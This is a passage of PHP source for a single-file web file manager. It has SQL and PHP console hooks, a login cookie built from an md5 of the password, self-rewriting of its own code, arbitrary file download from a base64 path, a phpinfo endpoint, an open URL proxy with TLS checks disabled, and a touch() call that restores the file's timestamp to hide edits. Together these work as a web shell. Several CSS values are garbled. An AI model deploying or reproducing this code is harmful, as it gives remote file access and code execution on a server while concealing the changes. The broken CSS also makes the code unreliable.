				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #CD5C5C 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: ## #800080A ; text-decoration: underline; }
a.th:link { color: ##6495ED; text-decoration: none; }
a.th:active { color: #CD5C5C; text-decoration: none; }
a.th:visited { color: #E9967A; text-decoration: none; }
a.th:hover {  color: ## #800080 ; text-decoration: underline; }

table.bg {
	background-color: #C0C0C0
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	# #CD5C5C ;
	color:				#CD5C5C;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	##CD5C5C;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#FFC0CB;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	# #808000 ;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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